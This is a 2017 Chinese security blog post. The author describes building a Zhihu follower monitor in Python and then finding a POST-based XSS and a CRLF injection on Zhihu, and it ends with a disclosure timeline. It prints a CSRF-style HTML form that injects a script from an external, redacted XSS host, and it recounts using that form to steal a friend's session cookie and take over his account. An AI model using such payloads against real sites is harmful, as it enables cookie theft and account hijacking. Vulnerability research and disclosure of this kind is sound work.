【思路分享】从编写知乎粉丝监控到漏洞挖掘再到盗号

今天突然有一个想法,就是去写一个知乎的粉丝量监控。

现在脑里有一个基本思维模型:

找一个接口或者直接匹配页面的粉丝量->(自定义时间)刷新一次再次获取粉丝量对比上一次->输出增减粉丝量

接口获取分析&代码编写

这里尝试在知乎的个人中心抓包:

URL:https://www.zhihu.com/people/gh0stkey

Packet:
 
没有发现有接口返回粉丝数量,这时候我点击了关注者那一块:

URL:https://www.zhihu.com/people/gh0stkey/followers

Packet:


这时候发现了一个接口:


图中 totals 的值 4873 就是我的粉丝数量。

第一步代码编写思路:使用Python中的requests库获取网页代码(json),再使用Python中的json库将json解析成python字典类型,然后就跟操作字典一样取值就可以了。



第二步代码编写思路:使用while 1死循环进行对比
 

可以看见图中-1和1都是让Az取关和关注测试的增减。成功的完成了监控功能。

整理历史Packet

我这个人有一个习惯就是喜欢去看以前的东西,而且也喜欢把浏览过认为有用的东西(目前有一个想法想做一个历史资产管理平台,初步模型已经出来了:使用代理式的方式自动整理经过这代理的URL然后自动进行各个方面的整理,例如对Struts2框架的整理[初衷是为了让新漏洞一出现就可以及时方便的定位可能存在的资产点])

发现了一个有点意思的请求包:







没有POST请求正文,也没有响应数据,单纯的GET请求是提示请求方式出错:


这里我尝试使用Hackbar的功能去模拟一个POST请求:

 

这里就提示udid不能为空,那么在模拟POST请求正文发一个udid过去呢?



可以看见我模拟的udid的值test输出到了页面中,相信大家第一时间想到的肯定就是HTML注入~

 

可以发现成功的注入了HTML,那么XSS能否成功呢?明显是可以的~
 

这时候如果有一枚CSRF(客户端请求伪造攻击漏洞)的话那岂不是爽歪歪?( ╯□╰ )奈何小弟无力,挖掘半天没挖到,所以我产生了一个想法让Az来点击我伪造好的链接,偷他的Cookie。因为这里是POST XSS Injection,可以使用CSRF的Exploit的构建方法,简单来说这一处其实就是一处CSRF漏洞。

Exploit:

[HTML] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
<form action="https://zhihu.com/**" method="post" id="form1">
 
<input type="hidden" name="udid" value="<script/src=https://***></script>">
 
</form>
 
<script>
 
document.getElementById("form1");
 
</script>



 

(因为这里知乎是https的所以准备的xss平台也要是https的,这里测试可以打到自己的Cookie)
实战偷取Az(林晨的Cookie)并盗了他的账号:
 

对方成功点击了链接 然后收到了Cookie,伪造登陆之:
 

然后突然看到udid的内容其实是在状态消息那一块 那么是不是就存在的CRLF注入呢?
CRLF注入是一类漏洞,在用户设法向应用插入CRLF时出现。在多种互联网协议中,包括HTML,CRLF字符表示了行的末尾,通常表示为\r\n,编码后是%0D%0A。在和HTTP请求或响应头组合时,这可以用于表示一行的结束,并且可能导致不同的漏洞,包括HTTP请求走私和HTTP响应分割。
经过测试就发现确实存在:
 

End

7.16 发现漏洞

7.17 凌晨提交漏洞详情

7.17 10:15分 知乎获取漏洞详情 并且采取了修复措施

 

posted @ 2017-07-19 14:47  i春秋  阅读(540)  评论(0编辑  收藏  举报